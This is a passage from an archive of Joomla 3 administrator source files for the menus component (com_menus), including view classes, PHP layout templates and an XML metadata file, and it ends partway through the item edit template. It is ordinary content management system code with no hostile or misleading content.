			JToolbarHelper::preferences('com_menus');
		}

		JToolbarHelper::help('JHELP_MENUS_MENU_ITEM_MANAGER');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		$this->state = $this->get('State');

		if ($this->state->get('filter.client_id') == 0)
		{
			return array(
				'a.lft'       => JText::_('JGRID_HEADING_ORDERING'),
				'a.published' => JText::_('JSTATUS'),
				'a.title'     => JText::_('JGLOBAL_TITLE'),
				'a.home'      => JText::_('COM_MENUS_HEADING_HOME'),
				'a.access'    => JText::_('JGRID_HEADING_ACCESS'),
				'association' => JText::_('COM_MENUS_HEADING_ASSOCIATION'),
				'language'    => JText::_('JGRID_HEADING_LANGUAGE'),
				'a.id'        => JText::_('JGRID_HEADING_ID')
			);
		}
		else
		{
			return array(
				'a.lft'       => JText::_('JGRID_HEADING_ORDERING'),
				'a.published' => JText::_('JSTATUS'),
				'a.title'     => JText::_('JGLOBAL_TITLE'),
				'a.id'        => JText::_('JGRID_HEADING_ID')
			);
		}
	}
}
com_menus/views/menutypes/tmpl/default.php000060400000003564152455305260015043 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input = JFactory::getApplication()->input;

// Checking if loaded via index.php or component.php
$tmpl = ($input->getCmd('tmpl') != '') ? '1' : '';

JHtml::_('behavior.core');
JFactory::getDocument()->addScriptDeclaration('
		setmenutype = function(type) {
			var tmpl = ' . json_encode($tmpl) . ';
			if (tmpl)
			{
				window.parent.Joomla.submitbutton("item.setType", type);
				window.parent.jQuery("#menuTypeModal").modal("hide");
			}
			else
			{
				window.location="index.php?option=com_menus&view=item&task=item.setType&layout=edit&type=" + type;
			}
		};
');

?>
<?php echo JHtml::_('bootstrap.startAccordion', 'collapseTypes', array('active' => 'slide1')); ?>
	<?php $i = 0; ?>
	<?php foreach ($this->types as $name => $list) : ?>
		<?php echo JHtml::_('bootstrap.addSlide', 'collapseTypes', $name, 'collapse' . ($i++)); ?>
			<ul class="nav nav-tabs nav-stacked">
				<?php foreach ($list as $title => $item) : ?>
					<li>
						<?php $menutype = array('id' => $this->recordId, 'title' => isset($item->type) ? $item->type : $item->title, 'request' => $item->request); ?>
						<?php $menutype = base64_encode(json_encode($menutype)); ?>
						<a class="choose_type" href="#" title="<?php echo JText::_($item->description); ?>"
							onclick="setmenutype('<?php echo $menutype; ?>')">
							<?php echo $title;?>
							<small class="muted">
								<?php echo JText::_($item->description); ?>
							</small>
						</a>
					</li>
				<?php endforeach; ?>
			</ul>
		<?php echo JHtml::_('bootstrap.endSlide'); ?>
	<?php endforeach; ?>
<?php echo JHtml::_('bootstrap.endSlide'); ?>
<?php echo JHtml::_('bootstrap.endAccordion');
com_menus/views/menutypes/view.html.php000060400000006332152455305260014354 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The HTML Menus Menu Item Types View.
 *
 * @since  1.6
 */
class MenusViewMenutypes extends JViewLegacy
{
	/**
	 * @var  JObject[]
	 */
	protected $types;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$app            = JFactory::getApplication();
		$this->recordId = $app->input->getInt('recordId');

		$types = $this->get('TypeOptions');

		$this->addCustomTypes($types);

		$sortedTypes = array();

		foreach ($types as $name => $list)
		{
			$tmp = array();

			foreach ($list as $item)
			{
				$tmp[JText::_($item->title)] = $item;
			}

			uksort($tmp, 'strcasecmp');
			$sortedTypes[JText::_($name)] = $tmp;
		}

		uksort($sortedTypes, 'strcasecmp');

		$this->types = $sortedTypes;

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	protected function addToolbar()
	{
		// Add page title
		JToolbarHelper::title(JText::_('COM_MENUS'), 'list menumgr');

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		// Cancel
		$title = JText::_('JTOOLBAR_CANCEL');
		$dhtml = "<button onClick=\"location.href='index.php?option=com_menus&view=items'\" class=\"btn\">
					<span class=\"icon-remove\" title=\"$title\"></span>
					$title</button>";
		$bar->appendButton('Custom', $dhtml, 'new');
	}

	/**
	 * Method to add system link types to the link types array
	 *
	 * @param   array  $types  The list of link types
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function addCustomTypes(&$types)
	{
		if (empty($types))
		{
			$types = array();
		}

		// Adding System Links
		$list           = array();
		$o              = new JObject;
		$o->title       = 'COM_MENUS_TYPE_EXTERNAL_URL';
		$o->type        = 'url';
		$o->description = 'COM_MENUS_TYPE_EXTERNAL_URL_DESC';
		$o->request     = null;
		$list[]         = $o;

		$o              = new JObject;
		$o->title       = 'COM_MENUS_TYPE_ALIAS';
		$o->type        = 'alias';
		$o->description = 'COM_MENUS_TYPE_ALIAS_DESC';
		$o->request     = null;
		$list[]         = $o;

		$o              = new JObject;
		$o->title       = 'COM_MENUS_TYPE_SEPARATOR';
		$o->type        = 'separator';
		$o->description = 'COM_MENUS_TYPE_SEPARATOR_DESC';
		$o->request     = null;
		$list[]         = $o;

		$o              = new JObject;
		$o->title       = 'COM_MENUS_TYPE_HEADING';
		$o->type        = 'heading';
		$o->description = 'COM_MENUS_TYPE_HEADING_DESC';
		$o->request     = null;
		$list[]         = $o;

		if ($this->get('state')->get('client_id') == 1)
		{
			$o              = new JObject;
			$o->title       = 'COM_MENUS_TYPE_CONTAINER';
			$o->type        = 'container';
			$o->description = 'COM_MENUS_TYPE_CONTAINER_DESC';
			$o->request     = null;
			$list[]         = $o;
		}

		$types['COM_MENUS_TYPE_SYSTEM'] = $list;
	}
}
com_menus/views/menus/view.html.php000060400000004733152455305260013455 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The HTML Menus Menu Menus View.
 *
 * @since  1.6
 */
class MenusViewMenus extends JViewLegacy
{
	/**
	 * @var  mixed
	 */
	protected $items;

	/**
	 * @var  array
	 */
	protected $modules;

	/**
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * @var  JObject
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->items      = $this->get('Items');
		$this->modules    = $this->get('Modules');
		$this->pagination = $this->get('Pagination');
		$this->state      = $this->get('State');

		if ($this->getLayout() == 'default')
		{
			$this->filterForm    = $this->get('FilterForm');
			$this->activeFilters = $this->get('ActiveFilters');
		}

		MenusHelper::addSubmenu('menus');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_menus');

		JToolbarHelper::title(JText::_('COM_MENUS_VIEW_MENUS_TITLE'), 'list menumgr');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('menu.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('menu.edit');
		}

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::deleteList('COM_MENUS_MENU_CONFIRM_DELETE', 'menus.delete', 'JTOOLBAR_DELETE');
		}

		JToolbarHelper::custom('menus.rebuild', 'refresh.png', 'refresh_f2.png', 'JTOOLBAR_REBUILD', false);

		if ($canDo->get('core.admin') && $this->state->get('client_id') == 1)
		{
			JToolbarHelper::custom('menu.exportXml', 'download', 'download', 'COM_MENUS_MENU_EXPORT_BUTTON', true);
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::preferences('com_menus');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_MENUS_MENU_MANAGER');
	}
}
com_menus/views/menus/tmpl/default.xml000060400000000310152455305260014134 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_MENUS_MENUS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MENUS_MENUS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_menus/views/menus/tmpl/default.php000060400000026731152455305260014142 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$uri       = JUri::getInstance();
$return    = base64_encode($uri);
$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$modMenuId = (int) $this->get('ModMenuId');

$script = array();
$script[] = 'jQuery(document).ready(function() {';

foreach ($this->items as $item) :
	if ($user->authorise('core.edit', 'com_menus')) :
		$script[] = '	function jSelectPosition_' . $item->id . '(name) {';
		$script[] = '		document.getElementById("' . $item->id . '").value = name;';
		$script[] = '		jQuery(".modal").modal("hide");';
		$script[] = '	};';
	endif;
endforeach;

$script[] = '	jQuery(".modal").on("hidden", function () {';
$script[] = '		setTimeout(function(){';
$script[] = '			window.parent.location.reload();';
$script[] = '		},1000);';
$script[] = '	});';
$script[] = '});';
$script[] = '
	(function (originalFn) {
		Joomla.submitform = function(task, form) {
		 	originalFn(task, form);
		 	if (task == "menu.exportXml") {
		 		document.adminForm.task.value = "";
		 	}
		};
	})(Joomla.submitform);
';

JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
?>
<form action="<?php echo JRoute::_('index.php?option=com_menus&view=menus'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('filterButton' => false))); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="menuList">
				<thead>
					<tr>
						<th width="1%">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap center">
							<span class="icon-publish" aria-hidden="true"></span>
							<span class="hidden-phone"><?php echo JText::_('COM_MENUS_HEADING_PUBLISHED_ITEMS'); ?></span>
						</th>
						<th width="10%" class="nowrap center">
							<span class="icon-unpublish" aria-hidden="true"></span>
							<span class="hidden-phone"><?php echo JText::_('COM_MENUS_HEADING_UNPUBLISHED_ITEMS'); ?></span>
						</th>
						<th width="10%" class="nowrap center">
							<span class="icon-trash" aria-hidden="true"></span>
							<span class="hidden-phone"><?php echo JText::_('COM_MENUS_HEADING_TRASHED_ITEMS'); ?></span>
						</th>
						<th width="20%" class="nowrap center">
							<span class="icon-cube" aria-hidden="true"></span>
							<span class="hidden-phone"><?php echo JText::_('COM_MENUS_HEADING_LINKED_MODULES'); ?></span>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="15">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$canEdit        = $user->authorise('core.edit',   'com_menus.menu.' . (int) $item->id);
					$canManageItems = $user->authorise('core.manage', 'com_menus.menu.' . (int) $item->id);
				?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>
						<td>
							<?php if ($canManageItems) : ?>
							<a href="<?php echo JRoute::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype); ?>">
								<?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<?php echo $this->escape($item->title); ?>
							<?php endif; ?>
							<div class="small">
								<?php echo JText::_('COM_MENUS_MENU_MENUTYPE_LABEL'); ?>:
								<?php if ($canEdit) : ?>
									<a href="<?php echo JRoute::_('index.php?option=com_menus&task=menu.edit&id=' . $item->id); ?>" title="<?php echo $this->escape($item->description); ?>">
									<?php echo $this->escape($item->menutype); ?></a>
								<?php else : ?>
									<?php echo $this->escape($item->menutype); ?>
								<?php endif; ?>
							</div>
						</td>
						<td class="center btns">
							<?php if ($canManageItems) : ?>
								<a class="badge<?php if ($item->count_published > 0) echo ' badge-success'; ?>" href="<?php echo JRoute::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype . '&filter[published]=1'); ?>">
									<?php echo $item->count_published; ?></a>
							<?php else : ?>
								<span class="badge<?php if ($item->count_published > 0) echo ' badge-success'; ?>">
									<?php echo $item->count_published; ?></span>
							<?php endif; ?>
						</td>
						<td class="center btns">
							<?php if ($canManageItems) : ?>
								<a class="badge<?php if ($item->count_unpublished > 0) echo ' badge-important'; ?>" href="<?php echo JRoute::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype . '&filter[published]=0'); ?>">
									<?php echo $item->count_unpublished; ?></a>
							<?php else : ?>
								<span class="badge<?php if ($item->count_unpublished > 0) echo ' badge-important'; ?>">
									<?php echo $item->count_unpublished; ?></span>
							<?php endif; ?>
						</td>
						<td class="center btns">
							<?php if ($canManageItems) : ?>
								<a class="badge<?php if ($item->count_trashed > 0) echo ' badge-inverse'; ?>" href="<?php echo JRoute::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype . '&filter[published]=-2'); ?>">
									<?php echo $item->count_trashed; ?></a>
							<?php else : ?>
								<span class="badge<?php if ($item->count_trashed > 0) echo ' badge-inverse'; ?>">
									<?php echo $item->count_trashed; ?></span>
							<?php endif; ?>
						</td>
						<td class="center">
							<?php if (isset($this->modules[$item->menutype])) : ?>
								<div class="btn-group">
									<button type="button" class="btn btn-small dropdown-toggle" data-toggle="dropdown">
										<?php echo JText::_('COM_MENUS_MODULES'); ?>
										<span class="caret"></span>
									</button>
									<ul class="dropdown-menu dropdown-reverse">
										<?php foreach ($this->modules[$item->menutype] as &$module) : ?>
											<li>
												<?php if ($user->authorise('core.edit', 'com_modules.module.' . (int) $module->id)) : ?>
													<?php $link = JRoute::_('index.php?option=com_modules&task=module.edit&id=' . $module->id . '&return=' . $return . '&tmpl=component&layout=modal'); ?>
													<a role="button" href="#moduleEdit<?php echo $module->id; ?>Modal" class="button" data-toggle="modal" title="<?php echo JText::_('COM_MENUS_EDIT_MODULE_SETTINGS'); ?>">
														<?php echo JText::sprintf('COM_MENUS_MODULE_ACCESS_POSITION', $this->escape($module->title), $this->escape($module->access_title), $this->escape($module->position)); ?></a>
												<?php else : ?>
													<a href="#" class="disabled" disabled="disabled">
														<?php echo JText::sprintf('COM_MENUS_MODULE_ACCESS_POSITION', $this->escape($module->title), $this->escape($module->access_title), $this->escape($module->position)); ?></a>
												<?php endif; ?>
											</li>
										<?php endforeach; ?>
									</ul>
								 </div>
								<?php foreach ($this->modules[$item->menutype] as &$module) : ?>
									<?php if ($user->authorise('core.edit', 'com_modules.module.' . (int) $module->id)) : ?>
										<?php $link = JRoute::_('index.php?option=com_modules&task=module.edit&id=' . $module->id . '&return=' . $return . '&tmpl=component&layout=modal'); ?>
										<?php echo JHtml::_(
												'bootstrap.renderModal',
												'moduleEdit' . $module->id . 'Modal',
												array(
													'title'       => JText::_('COM_MENUS_EDIT_MODULE_SETTINGS'),
													'backdrop'    => 'static',
													'keyboard'    => false,
													'closeButton' => false,
													'url'         => $link,
													'height'      => '400px',
													'width'       => '800px',
													'bodyHeight'  => '70',
													'modalWidth'  => '80',
													'footer'      => '<button type="button" class="btn" data-dismiss="modal"'
															. ' onclick="jQuery(\'#moduleEdit' . $module->id . 'Modal iframe\').contents().find(\'#closeBtn\').click();">'
															. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
															. '<button type="button" class="btn btn-primary"'
															. ' onclick="jQuery(\'#moduleEdit' . $module->id . 'Modal iframe\').contents().find(\'#saveBtn\').click();">'
															. JText::_('JSAVE') . '</button>'
															. '<button type="button" class="btn btn-success"'
															. ' onclick="jQuery(\'#moduleEdit' . $module->id . 'Modal iframe\').contents().find(\'#applyBtn\').click();">'
															. JText::_('JAPPLY') . '</button>',
												)
											); ?>
									<?php endif; ?>
								<?php endforeach; ?>
							<?php elseif ($modMenuId) : ?>
								<?php $link = JRoute::_('index.php?option=com_modules&task=module.add&eid=' . $modMenuId . '&params[menutype]=' . $item->menutype . '&tmpl=component&layout=modal'); ?>
								<button type="button" class="btn btn-small btn-primary" data-toggle="modal" data-target="#moduleAddModal"><?php echo JText::_('COM_MENUS_ADD_MENU_MODULE'); ?></button>
								<?php echo JHtml::_(
										'bootstrap.renderModal',
										'moduleAddModal',
										array(
											'title'       => JText::_('COM_MENUS_ADD_MENU_MODULE'),
											'backdrop'    => 'static',
											'keyboard'    => false,
											'closeButton' => false,
											'url'         => $link,
											'height'      => '400px',
											'width'       => '800px',
											'bodyHeight'  => '70',
											'modalWidth'  => '80',
											'footer'      => '<button type="button" class="btn" data-dismiss="modal"'
													. ' onclick="jQuery(\'#moduleAddModal iframe\').contents().find(\'#closeBtn\').click();">'
													. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
													. '<button type="button" class="btn btn-primary"'
													. ' onclick="jQuery(\'#moduleAddModal iframe\').contents().find(\'#saveBtn\').click();">'
													. JText::_('JSAVE') . '</button>'
													. '<button type="button" class="btn btn-success"'
													. ' onclick="jQuery(\'#moduleAddModal iframe\').contents().find(\'#applyBtn\').click();">'
													. JText::_('JAPPLY') . '</button>',
										)
									); ?>
							<?php endif; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_menus/views/item/tmpl/edit_modules.php000060400000013123152455305260014771 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');

foreach ($this->levels as $key => $value) {
	$allLevels[$value->id] = $value->title;
}

JFactory::getDocument()->addScriptDeclaration('
	var viewLevels = ' . json_encode($allLevels) . ',
		menuId = parseInt(' . (int) $this->item->id . ');

	jQuery(function($) {
		var baseLink = "index.php?option=com_modules&amp;client_id=0&amp;task=module.edit&amp;tmpl=component&amp;view=module&amp;layout=modal&amp;id=",
			iFrameAttr = "class=\"iframe jviewport-height70\"";

		$(document)
			.on("click", "input:radio[id^=\'jform_toggle_modules_assigned1\']", function (event) {
				$(".table tr.no").hide();
			})
			.on("click", "input:radio[id^=\'jform_toggle_modules_assigned0\']", function (event) {
				$(".table tr.no").show();
			})
			.on("click", "input:radio[id^=\'jform_toggle_modules_published1\']", function (event) {
				$(".table tr.unpublished").hide();
			})
			.on("click", "input:radio[id^=\'jform_toggle_modules_published0\']", function (event) {
				$(".table tr.unpublished").show();
			})
			.on("click", ".module-edit-link", function () {
				var link = baseLink + $(this).data("moduleId"),
					iFrame = $("<iframe src=\"" + link + "\" " + iFrameAttr + "></iframe>");

				$("#moduleEditModal").modal()
					.find(".modal-body").empty().prepend(iFrame);
			})
			.on("click", "#moduleEditModal .modal-footer .btn", function () {
				var target = $(this).data("target");

				if (target) {
					$("#moduleEditModal iframe").contents().find(target).click();
				}
			});
	});
');

JFactory::getDocument()->addStyleDeclaration('
ul.horizontal-buttons li {
  display: inline-block;
  padding-right: 10%;
}
');

// Set up the bootstrap modal that will be used for all module editors
echo JHtml::_(
	'bootstrap.renderModal',
	'moduleEditModal',
	array(
		'title'       => JText::_('COM_MENUS_EDIT_MODULE_SETTINGS'),
		'backdrop'    => 'static',
		'keyboard'    => false,
		'closeButton' => false,
		'bodyHeight'  => '70',
		'modalWidth'  => '80',
		'footer'      => '<button type="button" class="btn" data-dismiss="modal" data-target="#closeBtn">'
				. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
				. '<button type="button" class="btn btn-primary" data-dismiss="modal" data-target="#saveBtn">'
				. JText::_('JSAVE') . '</button>'
				. '<button type="button" class="btn btn-success" data-target="#applyBtn">'
				. JText::_('JAPPLY') . '</button>',
	)
);

?>
<?php
// Set main fields.
$this->fields = array('toggle_modules_assigned','toggle_modules_published');

echo JLayoutHelper::render('joomla.menu.edit_modules', $this); ?>

	<table class="table table-striped">
		<thead>
		<tr>
			<th class="left">
				<?php echo JText::_('COM_MENUS_HEADING_ASSIGN_MODULE'); ?>
			</th>
			<th>
				<?php echo JText::_('COM_MENUS_HEADING_LEVELS'); ?>
			</th>
			<th>
				<?php echo JText::_('COM_MENUS_HEADING_POSITION'); ?>
			</th>
			<th>
				<?php echo JText::_('COM_MENUS_HEADING_DISPLAY'); ?>
			</th>
			<th>
				<?php echo JText::_('COM_MENUS_HEADING_PUBLISHED_ITEMS'); ?>
			</th>
		</tr>
		</thead>
		<tbody>
		<?php foreach ($this->modules as $i => &$module) : ?>
			<?php if (is_null($module->menuid)) : ?>
				<?php if (!$module->except || $module->menuid < 0) : ?>
					<?php $no = 'no '; ?>
				<?php else : ?>
					<?php $no = ''; ?>
				<?php endif; ?>
			<?php else : ?>
				<?php $no = ''; ?>
			<?php endif; ?>
			<?php if ($module->published) : ?>
				<?php $status = ''; ?>
			<?php else : ?>
				<?php $status = 'unpublished '; ?>
			<?php endif; ?>
			<tr class="<?php echo $no; ?><?php echo $status; ?>row<?php echo $i % 2; ?>" id="tr-<?php echo $module->id; ?>" style="display:table-row">
				<td id="<?php echo $module->id; ?>">
					<button type="button"
						data-target="#moduleEditModal"
						class="btn btn-link module-edit-link"
						title="<?php echo JText::_('COM_MENUS_EDIT_MODULE_SETTINGS'); ?>"
						id="title-<?php echo $module->id; ?>"
						data-module-id="<?php echo $module->id; ?>">
						<?php echo $this->escape($module->title); ?></button>
				</td>
				<td id="access-<?php echo $module->id; ?>">
					<?php echo $this->escape($module->access_title); ?>
				</td>
				<td id="position-<?php echo $module->id; ?>">
					<?php echo $this->escape($module->position); ?>
				</td>
				<td id="menus-<?php echo $module->id; ?>">
					<?php if (is_null($module->menuid)) : ?>
						<?php if ($module->except) : ?>
							<span class="label label-success">
								<?php echo JText::_('JYES'); ?>
							</span>
						<?php else : ?>
							<span class="label label-important">
								<?php echo JText::_('JNO'); ?>
							</span>
						<?php endif; ?>
					<?php elseif ($module->menuid > 0) : ?>
						<span class="label label-success">
							<?php echo JText::_('JYES'); ?>
						</span>
					<?php elseif ($module->menuid < 0) : ?>
						<span class="label label-important">
							<?php echo JText::_('JNO'); ?>
						</span>
					<?php else : ?>
						<span class="label label-info">
							<?php echo JText::_('JALL'); ?>
						</span>
					<?php endif; ?>
				</td>
				<td id="status-<?php echo $module->id; ?>">
						<?php if ($module->published) : ?>
							<span class="label label-success">
								<?php echo JText::_('JYES'); ?>
							</span>
						<?php else : ?>
							<span class="label label-important">
								<?php echo JText::_('JNO'); ?>
							</span>
						<?php endif; ?>
				</td>
			</tr>
		<?php endforeach; ?>
		</tbody>
	</table>
com_menus/views/item/tmpl/edit.php000060400000017722152455305260013252 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.core');
JHtml::_('behavior.tabstate');
JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', '#jform_request_filter_tag', null, array('placeholder_text_multiple' => JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')));
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');

JText::script('ERROR');
JText::script('JGLOBAL_VALIDATION_FORM_FAILED');

$assoc = JLanguageAssociations::isEnabled();

// Ajax for parent items
$script = "
jQuery(document).ready(function ($){
	$('#jform_menutype').change(function(){
		var menutype = $(this).val();
		$.ajax({
			url: 'index.php?option=com_menus&task=item.getParentItem&menutype=' + menutype,
			dataType: 'json'
		}).done(function(data) {
			$('#jform_parent_id option').each(function() {
				if ($(this).val() != '1') {
					$(this).remove();
				}
			});

			$.each(data, function (i, val) {
				var option = $('<option>');
				option.text(val.title).val(val.id);
				$('#jform_parent_id').append(option);
			});
			$('#jform_parent_id').trigger('liszt:updated');
		});
	});

	// Menu type Login Form specific
	$('#item-form').on('submit', function() {
		if ($('#jform_params_login_redirect_url') && $('#jform_params_logout_redirect_url')) {
			// Login
			if ($('#jform_params_login_redirect_url').closest('.control-group').css('display') === 'block') {
				$('#jform_params_login_redirect_menuitem_id').val('');
			}
			if ($('#jform_params_login_redirect_menuitem_name').closest('.control-group').css('display') === 'block') {
				$('#jform_params_login_redirect_url').val('');

			}

			// Logout
			if ($('#jform_params_logout_redirect_url').closest('.control-group').css('display') === 'block') {
				$('#jform_params_logout_redirect_menuitem_id').val('');
			}
			if ($('#jform_params_logout_redirect_menuitem_id').closest('.control-group').css('display') === 'block') {
				$('#jform_params_logout_redirect_url').val('');
			}
		}
	});
});

Joomla.submitbutton = function(task, type){
	if (task == 'item.setType' || task == 'item.setMenuType')
	{
		if (task == 'item.setType')
		{
			jQuery('#item-form input[name=\"jform[type]\"]').val(type);
			jQuery('#fieldtype').val('type');
		} else {
			jQuery('#item-form input[name=\"jform[menutype]\"]').val(type);
		}
		Joomla.submitform('item.setType', document.getElementById('item-form'));
	} else if (task == 'item.cancel' || document.formvalidator.isValid(document.getElementById('item-form')))
	{
		Joomla.submitform(task, document.getElementById('item-form'));

		// @deprecated 4.0  The following js is not needed since 3.7.0.
		if (task !== 'item.apply')
		{
			window.parent.jQuery('#menuEdit" . (int) $this->item->id . "Modal').modal('hide');
		}
	}
	else
	{
		// special case for modal popups validation response
		jQuery('#item-form .modal-value.invalid').each(function(){
			var field = jQuery(this),
				idReversed = field.attr('id').split('').reverse().join(''),
				separatorLocation = idReversed.indexOf('_'),
				nameId = '#' + idReversed.substr(separatorLocation).split('').reverse().join('') + 'name';
			jQuery(nameId).addClass('invalid');
		});
	}
};
";

$input = JFactory::getApplication()->input;

// Add the script to the document head.
JFactory::getDocument()->addScriptDeclaration($script);
// In case of modal
$isModal  = $input->get('layout') == 'modal' ? true : false;
$layout   = $isModal ? 'modal' : 'edit';
$tmpl     = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
$clientId = $this->state->get('item.client_id', 0);
$lang     = JFactory::getLanguage()->getTag();

// Load mod_menu.ini file when client is administrator
if ($clientId === 1)
{
	JFactory::getLanguage()->load('mod_menu', JPATH_ADMINISTRATOR, null, false, true);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_menus&view=item&client_id=' . $clientId . '&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<?php // Add the translation of the menu item title when client is administrator ?>
	<?php if ($clientId === 1 && $this->item->id != 0) : ?>
		<div class="form-inline form-inline-header">
			<div class="control-group">
				<div class="control-label">
					<label><?php echo JText::sprintf('COM_MENUS_TITLE_TRANSLATION', $lang); ?></label>
				</div>
				<div class="controls">
					<input class="input-xlarge" value="<?php echo JText::_($this->item->title); ?>" readonly="readonly" type="text">
				</div>
			</div>
		</div>
	<?php endif; ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('COM_MENUS_ITEM_DETAILS')); ?>
		<div class="row-fluid">
			<div class="span9">
				<?php
				echo $this->form->renderField('type');

				if ($this->item->type == 'alias')
				{
					echo $this->form->renderField('aliasoptions', 'params');
				}

				if ($this->item->type == 'separator')
				{
					echo $this->form->renderField('text_separator', 'params');
				}

				echo $this->form->renderFieldset('request');

				if ($this->item->type == 'url')
				{
					$this->form->setFieldAttribute('link', 'readonly', 'false');
					$this->form->setFieldAttribute('link', 'required', 'true');
